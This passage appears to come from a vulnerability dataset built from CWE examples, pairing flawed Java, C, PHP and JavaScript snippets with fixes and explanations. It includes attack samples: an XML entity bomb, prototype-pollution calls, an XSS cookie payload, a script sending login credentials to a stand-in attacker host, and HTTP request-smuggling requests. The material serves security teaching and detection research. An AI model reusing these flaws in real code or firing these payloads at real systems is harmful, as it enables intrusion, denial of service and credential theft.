    "public enum Roles {ADMIN,OPERATOR,USER,GUEST}\npublic void resetPassword(User requestingUser, User user, String password ){\nif(isAuthenticated(requestingUser)){\nswitch(requestingUser.role){\ncase GUEST:System.out.println(\"You are not authorized to perform this command\");break;\ncase USER:System.out.println(\"You are not authorized to perform this command\");break;\ndefault:setPassword(user,password);break;}\n}\n\nelse{System.out.println(\"You must be logged in to perform this command\");}\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-269",
  "example_id": "5",
  "explanation": "This code allows someone with the role of \"ADMIN\" or \"OPERATOR\" to reset a user's password. The role of \"OPERATOR\" is intended to have less privileges than an \"ADMIN\", but still be able to help users with small issues such as forgotten passwords.This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account."
}
{
  "source": [
    "// API flag, output JSON if set\n$json = $_GET['json']$username = $_GET['user']if(!$json){\n$record = getUserRecord($username);foreach($record as $fieldName => $fieldValue){\nif($fieldName == \"email_address\") {\n\n\n// skip displaying user emails\ncontinue;\n}else{writeToHtmlPage($fieldName,$fieldValue);}\n}\n}else{$record = getUserRecord($username);echo json_encode($record);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-212",
  "example_id": "1",
  "explanation": "This code either generates a public HTML user information page or a JSON response containing the same user information.The programmer is careful to not display the user's e-mail address when displaying the public HTML page. However, the e-mail address is not removed from the JSON response, exposing the user's e-mail address."
}
{
  "source": [
    "private void processFile(string fName){BufferReader fil = new BufferReader(new FileReader(fName));String line;while ((line = fil.ReadLine()) != null){processLine(line);}}",
    "private void processFile(string fName){BufferReader fil = new BufferReader(new FileReader(fName));String line;while ((line = fil.ReadLine()) != null){processLine(line);}fil.Close();}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 0,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-404",
  "example_id": "1",
  "explanation": "The following method never closes the new file handle. Given enough time, the Finalize() method for BufferReader should eventually call Close(), but there is no guarantee as to how long this action will take. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, the Operating System could use up all of the available file handles before the Close() function is called.The good code example simply adds an explicit call to the Close() function when the system is done using the file. Within a simple example such as this the problem is easy to see and fix. In a real system, the problem may be considerably more obscure."
}
{
  "source": [
    "try {Connection con = DriverManager.getConnection(some_connection_string);}catch ( Exception e ) {log( e );}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-404",
  "example_id": "2",
  "explanation": "This code attempts to open a connection to a database and catches any exceptions that may occur.If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application."
}
{
  "source": [
    "...SqlConnection conn = new SqlConnection(connString);SqlCommand cmd = new SqlCommand(queryString);cmd.Connection = conn;conn.Open();SqlDataReader rdr = cmd.ExecuteReader();HarvestResults(rdr);conn.Connection.Close();..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C#"
    }
  ],
  "cwe_id": "CWE-404",
  "example_id": "3",
  "explanation": "Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries."
}
{
  "source": [
    "int decodeFile(char* fName) {\nchar buf[BUF_SZ];FILE* f = fopen(fName, \"r\");if (!f) {printf(\"cannot open %s\\n\", fName);return DECODE_FAIL;}else {\nwhile (fgets(buf, BUF_SZ, f)) {if (!checkChecksum(buf)) {return DECODE_FAIL;}else {decodeBlock(buf);}}\n}fclose(f);return DECODE_SUCCESS;\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-404",
  "example_id": "4",
  "explanation": "The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles."
}
{
  "source": [
    "class A {void foo();};void A::foo(){int *ptr;ptr = (int*)malloc(sizeof(int));delete ptr;}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C++"
    }
  ],
  "cwe_id": "CWE-404",
  "example_id": "5",
  "explanation": "In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource."
}
{
  "source": [
    "class A{void foo(bool);};void A::foo(bool heap) {int localArray[2] = {11,22};int *p = localArray;if (heap){p = new int[2];}delete[] p;}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C++"
    }
  ],
  "cwe_id": "CWE-404",
  "example_id": "6",
  "explanation": "In this example, the program calls the delete[] function on non-heap memory."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-307",
  "example_id": "1",
  "explanation": "In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts [REF-236]. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts. Example 1 References:[REF-236] Kim Zetter. \"Weak Password Brings 'Happiness' to Twitter Hacker\". 2009-01-09. \n\t\t\t\t<https://www.wired.com/2009/01/professed-twitt/>. URL validated: 2023-04-07."
}
{
  "source": [
    "String username = request.getParameter(\"username\");String password = request.getParameter(\"password\");\nint authResult = authenticateUser(username, password);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-307",
  "example_id": "2",
  "explanation": "The following code, extracted from a servlet's doPost() method, performs an authentication lookup every time the servlet is invoked.However, the software makes no attempt to restrict excessive authentication attempts."
}
{
  "source": [
    "$username = $_POST['username'];$password = $_POST['password'];sleep(2000);$isAuthenticated = authenticateUser($username, $password);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-307",
  "example_id": "3",
  "explanation": "This code attempts to limit the number of login attempts by causing the process to sleep before completing the authentication.However, there is no limit on parallel connections, so this does not increase the amount of time an attacker needs to complete an attack."
}
{
  "source": [
    "int validateUser(char *host, int port){\nint socket = openSocketConnection(host, port);if (socket < 0) {printf(\"Unable to open socket connection\");return(FAIL);}\nint isValidUser = 0;char username[USERNAME_SIZE];char password[PASSWORD_SIZE];\nwhile (isValidUser == 0) {\nif (getNextMessage(socket, username, USERNAME_SIZE) > 0) {if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {isValidUser = AuthenticateUser(username, password);}}\n}return(SUCCESS);\n}",
    "int validateUser(char *host, int port){\n...\nint count = 0;while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {\nif (getNextMessage(socket, username, USERNAME_SIZE) > 0) {if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {isValidUser = AuthenticateUser(username, password);}}count++;\n}if (isValidUser) {return(SUCCESS);}else {return(FAIL);}\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-307",
  "example_id": "4",
  "explanation": "In the following C/C++ example the validateUser method opens a socket connection, reads a username and password from the socket and attempts to authenticate the username and password.The validateUser method will continuously check for a valid username and password without any restriction on the number of authentication attempts made. The method should limit the number of authentication attempts made to prevent brute force attacks as in the following example code."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-307",
  "example_id": "5",
  "explanation": "Consider this example from a real-world attack against the iPhone [REF-1218]. An attacker can use brute force methods; each time there is a failed guess, the attacker quickly cuts the power before the failed entry is recorded, effectively bypassing the intended limit on the number of failed authentication attempts. Note that this attack requires removal of the cell phone battery and connecting directly to the phone's power source, and the brute force attack is still time-consuming."
}
{
  "source": [
    "void host_lookup(char *user_supplied_addr){\nstruct hostent *hp;in_addr_t *addr;char hostname[64];in_addr_t inet_addr(const char *cp);\n\n/*routine that ensures user_supplied_addr is in the right format for conversion */\n\nvalidate_addr_form(user_supplied_addr);addr = inet_addr(user_supplied_addr);hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);strcpy(hostname, hp->h_name);\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-119",
  "example_id": "1",
  "explanation": "This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476)."
}
{
  "source": [
    "char * copy_input(char *user_supplied_string){\nint i, dst_index;char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);if ( MAX_SIZE <= strlen(user_supplied_string) ){die(\"user string too long, die evil hacker!\");}dst_index = 0;for ( i = 0; i < strlen(user_supplied_string); i++ ){\nif( '&' == user_supplied_string[i] ){dst_buf[dst_index++] = '&';dst_buf[dst_index++] = 'a';dst_buf[dst_index++] = 'm';dst_buf[dst_index++] = 'p';dst_buf[dst_index++] = ';';}else if ('<' == user_supplied_string[i] ){\n/* encode to &lt; */\n\n}else dst_buf[dst_index++] = user_supplied_string[i];\n}return dst_buf;\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-119",
  "example_id": "2",
  "explanation": "This example applies an encoding procedure to an input string and stores it into a buffer.The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands."
}
{
  "source": [
    "int main (int argc, char **argv) {char *items[] = {\"boat\", \"car\", \"truck\", \"train\"};int index = GetUntrustedOffset();printf(\"You selected %s\\n\", items[index-1]);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-119",
  "example_id": "3",
  "explanation": "The following example asks a user for an offset into an array to select an item.The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126)."
}
{
  "source": [
    "int getValueFromArray(int *array, int len, int index) {\n\nint value;\n\n// check that the array index is less than the maximum\n\n\n// length of the array\nif (index < len) {\n\n// get the value at the specified index of the array\nvalue = array[index];\n}\n// if array index is invalid then output error message\n\n// and return value indicating error\nelse {printf(\"Value is: %d\\n\", array[index]);value = -1;}\nreturn value;\n}",
    "...\n\n// check that the array index is within the correct\n\n\n// range of values for the array\nif (index >= 0 && index < len) {\n..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-119",
  "example_id": "4",
  "explanation": "In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the methodHowever, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-119",
  "example_id": "5",
  "explanation": "Windows provides the _mbs family of functions to perform various operations on multibyte strings. When these functions are passed a malformed multibyte string, such as a string containing a valid leading byte followed by a single null byte, they can read or write past the end of the string buffer causing a buffer overflow. The following functions all pose a risk of buffer overflow: _mbsinc _mbsdec _mbsncat _mbsncpy _mbsnextc _mbsnset _mbsrev _mbsset _mbsstr _mbstok _mbccpy _mbslen"
}
{
  "source": [
    "<?xml version=\"1.0\"?><!DOCTYPE MaliciousDTD [<!ENTITY ZERO \"A\"><!ENTITY ONE \"&ZERO;&ZERO;\"><!ENTITY TWO \"&ONE;&ONE;\">...<!ENTITY THIRTYTWO \"&THIRTYONE;&THIRTYONE;\">]><data>&THIRTYTWO;</data>"
  ],
  "source_status": [
    {
      "vul_flag": 0,
      "language": "(attack code) XML"
    }
  ],
  "cwe_id": "CWE-776",
  "example_id": "1",
  "explanation": "The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is 2^0. Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or 2^1. Ultimately, we reach entity THIRTYTWO, which will expand to 2^32 characters in length, or 4 GB, probably consuming far more data than expected."
}
{
  "source": [
    "public String getValue(int index) {return array[index];}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-129",
  "example_id": "1",
  "explanation": "In the code snippet below, an untrusted integer value is used to reference an object in an array.If index is outside of the range of the array, this may result in an ArrayIndexOutOfBounds Exception being raised."
}
{
  "source": [
    "private void buildList ( int untrustedListSize ){if ( 0 > untrustedListSize ){die(\"Negative value supplied for list size, die evil hacker!\");}Widget[] list = new Widget [ untrustedListSize ];list[0] = new Widget();}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-129",
  "example_id": "2",
  "explanation": "The following example takes a user-supplied value to allocate an array of objects and then operates on the array.This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown."
}
{
  "source": [
    "int getValueFromArray(int *array, int len, int index) {\n\nint value;\n\n// check that the array index is less than the maximum\n\n\n// length of the array\nif (index < len) {\n\n// get the value at the specified index of the array\nvalue = array[index];\n}\n// if array index is invalid then output error message\n\n\n// and return value indicating error\nelse {printf(\"Value is: %d\\n\", array[index]);value = -1;}\nreturn value;\n}",
    "...\n\n// check that the array index is within the correct\n\n\n// range of values for the array\nif (index >= 0 && index < len) {\n..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-129",
  "example_id": "3",
  "explanation": "In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the methodHowever, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below."
}
{
  "source": [
    "/* capture the sizes of all messages */\nint getsizes(int sock, int count, int *sizes) {\n...char buf[BUFFER_SIZE];int ok;int num, size;\n\n// read values from socket and added to sizes array\nwhile ((ok = gen_recv(sock, buf, sizeof(buf))) == 0){\n\n// continue read from socket until buf only contains '.'\nif (DOTLINE(buf))break;\n                                 else if (sscanf(buf, \"%d %d\", &num, &size) == 2)sizes[num - 1] = size;\n\n}...\n\n}",
    "/* capture the sizes of all messages */\nint getsizes(int sock, int count, int *sizes) {\n...char buf[BUFFER_SIZE];int ok;int num, size;\n\n// read values from socket and added to sizes array\nwhile ((ok = gen_recv(sock, buf, sizeof(buf))) == 0){\n\n\n// continue read from socket until buf only contains '.'\nif (DOTLINE(buf))break;\nelse if (sscanf(buf, \"%d %d\", &num, &size) == 2) {\nif (num > 0 && num <= (unsigned)count)sizes[num - 1] = size;\nelse\n\n\n/* warn about possible attempt to induce buffer overflow */\nreport(stderr, \"Warning: ignoring bogus data for message sizes returned by server.\\n\");\n\n\n}\n}...\n\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-129",
  "example_id": "4",
  "explanation": "The following example retrieves the sizes of messages for a pop3 mail server. The message sizes are retrieved from a socket that returns in a buffer the message number and the message size, the message number (num) and size (size) are extracted from the buffer and the message size is placed into an array using the message number for the array index.In this example the message number retrieved from the buffer could be a value that is outside the allowable range of indices for the array and could possibly be a negative number. Without proper validation of the value to be used for the array index an array overflow could occur and could potentially lead to unauthorized access to memory addresses and system crashes. The value of the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code."
}
{
  "source": [
    "// Method called from servlet to obtain product information\npublic String displayProductSummary(int index) {\n\nString productSummary = new String(\"\");\ntry {String productSummary = getProductSummary(index);\n\n} catch (Exception ex) {...}\nreturn productSummary;\n}\npublic String getProductSummary(int index) {return products[index];}",
    "// Method called from servlet to obtain product information\npublic String displayProductSummary(int index) {\n\nString productSummary = new String(\"\");\ntry {String productSummary = getProductSummary(index);\n\n} catch (Exception ex) {...}\nreturn productSummary;\n}\npublic String getProductSummary(int index) {\nString productSummary = \"\";\nif ((index >= 0) && (index < MAX_PRODUCTS)) {productSummary = products[index];}else {System.err.println(\"index is out of bounds\");throw new IndexOutOfBoundsException();}\nreturn productSummary;\n}",
    "ArrayList productArray = new ArrayList(MAX_PRODUCTS);...try {productSummary = (String) productArray.get(index);} catch (IndexOutOfBoundsException ex) {...}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 0,
      "language": "Java"
    },
    {
      "vul_flag": 0,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-129",
  "example_id": "5",
  "explanation": "In the following example the method displayProductSummary is called from a Web service servlet to retrieve product summary information for display to the user. The servlet obtains the integer value of the product number from the user and passes it to the displayProductSummary method. The displayProductSummary method passes the integer value of the product number to the getProductSummary method which obtains the product summary from the array object containing the project summaries using the integer value of the product number as the array index.In this example the integer value used as the array index that is provided by the user may be outside the allowable range of indices for the array which may provide unexpected results or cause the application to fail. The integer value used for the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.An alternative in Java would be to use one of the collection objects such as ArrayList that will automatically generate an exception if an attempt is made to access an array index that is out of bounds."
}
{
  "source": [
    "int main (int argc, char **argv) {char *items[] = {\"boat\", \"car\", \"truck\", \"train\"};int index = GetUntrustedOffset();printf(\"You selected %s\\n\", items[index-1]);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-129",
  "example_id": "6",
  "explanation": "The following example asks a user for an offset into an array to select an item.The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126)."
}
{
  "source": [
    "sd = socket(AF_INET, SOCK_DGRAM, 0); serv.sin_family = AF_INET;serv.sin_addr.s_addr = htonl(INADDR_ANY);servr.sin_port = htons(1008);bind(sd, (struct sockaddr *) & serv, sizeof(serv));while (1) {\n\nmemset(msg, 0x0, MAX_MSG);clilen = sizeof(cli);if (inet_ntoa(cli.sin_addr)==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);\n}",
    "while(true) {DatagramPacket packet = new DatagramPacket(data,data.length,IPAddress, port);socket.send(sendPacket);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-354",
  "example_id": "1",
  "explanation": "The following example demonstrates the weakness."
}
{
  "source": [
    "...public static final double price = 20.00;int quantity = currentUser.getAttribute(\"quantity\");double total = price * quantity;chargeUser(total);..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-1284",
  "example_id": "1",
  "explanation": "This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited."
}
{
  "source": [
    "...#define MAX_DIM 100...\n/* board dimensions */\n\nint m,n, error;board_square_t *board;printf(\"Please specify the board height: \\n\");error = scanf(\"%d\", &m);if ( EOF == error ){die(\"No integer passed: Die evil hacker!\\n\");}printf(\"Please specify the board width: \\n\");error = scanf(\"%d\", &n);if ( EOF == error ){die(\"No integer passed: Die evil hacker!\\n\");}if ( m > MAX_DIM || n > MAX_DIM ) {die(\"Value too large: Die evil hacker!\\n\");}board = (board_square_t*) malloc( m * n * sizeof(board_square_t));..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-1284",
  "example_id": "2",
  "explanation": "This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program."
}
{
  "source": [
    "File f = new File(downloadedFilePath);JarFile jf = new JarFile(f);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-347",
  "example_id": "1",
  "explanation": "In the following code, a JarFile object is created from a downloaded file.The JAR file that was potentially downloaded from an untrusted source is created without verifying the signature (if present). An alternate constructor that accepts a boolean verify parameter should be used instead."
}
{
  "source": [
    "function setValueByPath (object, path, value) {\n\n\t\t\t\t\t    const pathArray = path.split(\".\");\n\t\t\t\t\t    const attributeToSet = pathArray.pop();\n\t\t\t\t\t    let objectToModify = object;\n\t\t\t\t\t    for (const attr of pathArray) {\nif (typeof objectToModify[attr] !== 'object') {\nobjectToModify[attr] = {};\n\t\t\t\t\t        }\n\t\t\t\t\t        objectToModify = objectToModify[attr];\n\t\t\t\t\t    }\n\t\t\t\t\t    objectToModify[attributeToSet] = value;\n\t\t\t\t\t    return object;\n\t\t\t\t\t}",
    "setValueByPath({}, \"__proto__.isAdmin\", true)\n\t\t\t\t\t  setValueByPath({}, \"constructor.prototype.isAdmin\", true)",
    "function setValueByPath (object, path, value) {\n\n\t\t\t\t\t    const pathArray = path.split(\".\");\n\t\t\t\t\t    const attributeToSet = pathArray.pop();\n\t\t\t\t\t    let objectToModify = object;\n\t\t\t\t\t    for (const attr of pathArray) {\n\n// Ignore attributes which resolve to object prototype\n\t\t\t\t\t        if (attr === \"__proto__\" || attr === \"constructor\" || attr === \"prototype\") {\n\n\t\t\t\t\t            continue;\n\t\t\t\t\t        }\n\n\t\t\t\t\t        if (typeof objectToModify[attr] !== \"object\") {\n\n\t\t\t\t\t            objectToModify[attr] = {};\n\t\t\t\t\t        }\n\n\t\t\t\t\t        objectToModify = objectToModify[attr];\n\t\t\t\t\t    }\n\n\t\t\t\t\t    objectToModify[attributeToSet] = value;\n\t\t\t\t\t    return object;\n\t\t\t\t\t}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "JavaScript"
    },
    {
      "vul_flag": 1,
      "language": "JavaScript"
    },
    {
      "vul_flag": 0,
      "language": "JavaScript"
    }
  ],
  "cwe_id": "CWE-1321",
  "example_id": "1",
  "explanation": "This function sets object attributes based on a dot-separated path.This function does not check if the attribute resolves to the object prototype. These codes can be used to add \"isAdmin: true\" to the object prototype.By using a denylist of dangerous attributes, this weakness can be eliminated."
}
{
  "source": [
    "$username = $_POST['username'];$picSource = $_POST['picsource'];$picAltText = $_POST['picalttext'];\n...\n\necho \"<title>Welcome, \" . htmlentities($username) .\"</title>\";echo \"<img src='\". htmlentities($picSource) .\" ' alt='\". htmlentities($picAltText) . '\" />';\n...",
    "\"altTextHere' onload='alert(document.cookie)\"",
    "<img src='pic.jpg' alt='altTextHere' onload='alert(document.cookie)' />"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(result) HTML"
    }
  ],
  "cwe_id": "CWE-838",
  "example_id": "1",
  "explanation": "This code dynamically builds an HTML page using POST data:The programmer attempts to avoid XSS exploits (CWE-79) by encoding the POST values so they will not be interpreted as valid HTML. However, the htmlentities() encoding is not appropriate when the data are used as HTML attributes, allowing more attributes to be injected. For example, an attacker can set picAltText to:This will result in the generated HTML image tag:The attacker can inject arbitrary javascript into the tag due to this incorrect encoding."
}
{
  "source": [
    "<div class=\"header\"> Welcome!<div id=\"loginBox\">Please Login:<form id =\"loginForm\" name=\"loginForm\" action=\"login.php\" method=\"post\">Username: <input type=\"text\" name=\"username\" /><br/>Password: <input type=\"password\" name=\"password\" /><input type=\"submit\" value=\"Login\" /></form></div><div id=\"WeatherWidget\"><script type=\"text/javascript\" src=\"externalDomain.example.com/weatherwidget.js\"></script></div></div>",
    "...Weather widget code....\ndocument.getElementById('loginForm').action = \"ATTACK.example.com/stealPassword.php\";"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "HTML"
    },
    {
      "vul_flag": 0,
      "language": "(attack code) JavaScript"
    }
  ],
  "cwe_id": "CWE-829",
  "example_id": "1",
  "explanation": "This login webpage includes a weather widget from an external website:This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79). For example, user login information could easily be stolen with a single line added to weatherwidget.js:This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site."
}
{
  "source": [
    "try {InputStream is = new FileInputStream(path);byte b[] = new byte[is.available()];is.read(b);is.close();} catch (Throwable t) {log.error(\"Something bad happened: \" + t.getMessage());}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-459",
  "example_id": "1",
  "explanation": "Stream resources in a Java application should be released in a finally block, otherwise an exception thrown before the call to close() would result in an unreleased I/O resource. In the example below, the close() method is called in the try block (incorrect)."
}
{
  "source": [
    "POST http://www.website.com/foobar.html HTTP/1.1\n\t\t Host: www.website.com\n\t\t Connection: Keep-Alive\n\t\t Content-Type: application/x-www-form-urlencoded\n\t\t Content-Length: 0\n\t\t Content-Length: 54\n\n                 GET /poison.html HTTP/1.1\n\t\t Host: www.website.com\n\t\t Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1\n\t\t Host: www.website.com\n\t\t Connection: Keep-Alive",
    "GET /poison.html HTTP/1.1\n\t\tHost: www.website.com\n\t\tBla:",
    "GET http://www.website.com/page_to_poison.html HTTP/1.1\n\t\tHost: www.website.com\n\t\tConnection: Keep-Alive",
    "POST http://www.website.com/foobar.html HTTP/1.1\n\t\tHost: www.website.com\n\t\tConnection: Keep-Alive\n\t\tContent-Type: application/x-www-form-urlencoded\n\t\tContent-Length: 0\nContent-Length: 54 (ignored by server)",
    "GET /poison.html HTTP/1.1\n\t\tHost: www.website.com\n\t\tBla: GET http://www.website.com/page_to_poison.html HTTP/1.1\n\t\tHost: www.website.com\n\t\tConnection: Keep-Alive",
    "protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\t\t\t  \n\n\n// Set up response writer object\n...try {\n\t\t\t\t\t  \n\n// check for multiple content length headers\nEnumeration contentLengthHeaders = request.getHeaders(\"Content-Length\");\n\t\t\t\t\t\t  int count = 0;\n\t\t\t\t\t\t  while (contentLengthHeaders.hasMoreElements()) {\n\t\t\t\t\t\t  count++;\n\t\t\t\t\t\t  }\n\t\t\t\t\t\t  if (count > 1) {\n\t\t\t\t\t\t  \n// output error response\n}\n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\n\n// process request\n\n}\n\t\t\t\t\t\t\t  \n\n} catch (Exception ex) {...}\n}"
  ],
  "source_status": [
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(result)"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-444",
  "example_id": "1",
  "explanation": "In the following example, a malformed HTTP request is sent to a website that includes a proxy server and a web server with the intent of poisoning the cache to associate one webpage with another malicious webpage.When this request is sent to the proxy server, the proxy server parses the first four lines of the POST request and encounters the two \"Content-Length\" headers. The proxy server ignores the first header, so it assumes the request has a body of length 54 bytes. Therefore, it treats the data in the next three lines that contain exactly 54 bytes as the first request's body:The proxy then parses the remaining bytes, which it treats as the client's second request:The original request is forwarded by the proxy server to the web server. Unlike the proxy, the web server uses the first \"Content-Length\" header and considers that the first POST request has no body.Because the web server has assumed the original POST request was length 0, it parses the second request that follows, i.e. for GET /poison.html:Note that the \"Bla:\" header is treated as a regular header, so it is not parsed as a separate GET request.The requests the web server sees are \"POST /foobar.html\" and \"GET /poison.html\", so it sends back two responses with the contents of the \"foobar.html\" page and the \"poison.html\" page, respectively. The proxy matches these responses to the two requests it thinks were sent by the client - \"POST /foobar.html\" and \"GET /page_to_poison.html\". If the response is cacheable, the proxy caches the contents of \"poison.html\" under the URL \"page_to_poison.html\", and the cache is poisoned! Any client requesting \"page_to_poison.html\" from the proxy would receive the \"poison.html\" page.When a website includes both a proxy server and a web server, some protection against this type of attack can be achieved by installing a web application firewall, or using a web server that includes a stricter HTTP parsing procedure or make all webpages non-cacheable.Additionally, if a web application includes a Java servlet for processing requests, the servlet can check for multiple \"Content-Length\" headers and if they are found the servlet can return an error response thereby preventing the poison page to be cached, as shown below."
}
{
  "source": [
